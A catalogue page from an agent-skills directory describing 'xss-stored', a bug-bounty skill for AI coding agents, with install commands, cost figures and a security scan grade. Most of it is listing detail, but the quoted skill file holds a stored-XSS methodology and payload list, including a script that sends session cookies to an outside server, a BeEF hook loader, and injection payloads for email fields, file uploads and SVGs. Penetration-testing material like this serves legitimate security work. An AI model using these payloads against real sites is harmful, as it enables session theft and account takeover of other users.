Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill xss-storedgit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-stored)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-stored"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-stored/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/xss-stored"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/xss-stored.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00108 | $0.01592 |
| Opus 5.5 | $0.00043 | $0.00637 |
| Sonnet 5.5 | $0.00022 | $0.00318 |
| Haiku 4.5 | $0.00011 | $0.00159 |
Grade A, and why
xss-stored scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -b "SESSION=TOKEN" TARGET/profile | grep -i "storedxss1234" How it starts
The opening of the file, as written. The whole thing — 115 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Stored Cross-Site Scripting (XSS)
What Is Broken and Why
Stored XSS persists because user-supplied content is saved to a database or file system and later retrieved and rendered without output encoding. Unlike reflected XSS, no social engineering link is needed — every user who views the affected page triggers the payload. High-privilege pages (admin panels, audit logs, user management) that display stored user input are particularly dangerous as they can lead to full application compromise.
Key Signals
- User-controlled fields stored and redisplayed: names, bios, comments, addresses, file names
- Email fields, address fields, or free-text inputs that appear elsewhere in the UI
- Admin panels or logs that display raw user-submitted data
- File upload features that reflect filename or metadata in the browser
- Shopping cart items, support ticket content, or CMS posts rendered to other users
- Source variables: PHP
$_GET,$_POST,$_REQUEST,$_FILES; ASPRequest.QueryString,Request.Form; JSPrequest.getParameter,doGet,doPost
Methodology
- Map all storage points: forms, API endpoints, file uploads, profile settings.
- Submit a canary string (e.g.,
storedxss1234) to each storage point. - Visit every page where the stored data is rendered (profile view, admin panel, logs, reports).
- Search response for unencoded canary; determine HTML context.
- Submit a context-appropriate XSS payload.
- View the rendering page in a real browser to confirm execution.
- Test second-order sinks: exported CSV/Excel, PDF reports, admin notifications, email templates.
- Test via proxy to bypass client-side validation (disable JS or intercept request).
- Escalate: hook with BeEF, exfiltrate session cookies, perform actions as victim.
Payloads & Tools
# Basic stored payload (comment/bio field)
<script>alert(document.cookie)</script>
# Cookie exfiltration to attacker server
<script>new Image().src='http://VICTIM/steal?c='+encodeURIComponent(document.cookie)</script>
# BeEF hook injection (replace TOKEN with actual BeEF hook URL path)
<script src="http://VICTIM/hook.js"></script>
# Email field injection (URL-encoded for proxy submission)
TARGET-EMAIL%40domain.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
# File upload XSS via Content-Type manipulation
# Send multipart upload with:
Content-Disposition: form-data; name="uploadfile1"; filename="test.gif"
Content-Type: text/html
<script>alert(document.cookie)</script>
# SVG file upload XSS
# Upload file named payload.svg:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>
# Bypass client-side validation with Burp:
# 1. Submit valid data in browser
# 2. Intercept with Burp, modify payload in the request body
# 3. Forward modified request
# Confirm server-side storage:
curl -s -b "SESSION=TOKEN" TARGET/profile | grep -i "storedxss1234"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 115 lines · 108 tokens per session scan A 7c1207d12915
xss-stored is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 2mo ago), licensed MIT. It adds 108 tokens to every session and 1,592 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.
xss-stored compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| xss-storedSecurityTalent/bugskill-ai | Skill | 13 | 2mo ago | MIT | A | 108 | Claude Code, Codex |
| user-research-cookiycookiy-ai/user-research-skill | Skill | 1.6k | 21d ago | MIT | A | 154 | Claude Code, Codex |
| playwright-best-practicescurrents-dev/playwright-best-practices-skill | Skill | 448 | 25d ago | MIT | A | 214 | Claude Code, Codex |
| email-marketing-bibleCosmoBlk/email-marketing-bible | Skill | 392 | 21d ago | MIT | A | 195 | Claude Code |
| globalpercentsimonlin1212/globalpercent | Skill | 79 | 1mo ago | Apache-2.0 | A | 134 | Claude Code, Codex |
| ui-ux-design-prosaifyxpro/ui-ux-design-pro-skill | Skill | 111 | 2mo ago | MIT | A | 117 | Claude Code |
| distribution-patternsgarrettw/php-arch-skills | Skill | 17 | 2d ago | MPL-2.0 | A | 91 | Claude Code, Codex |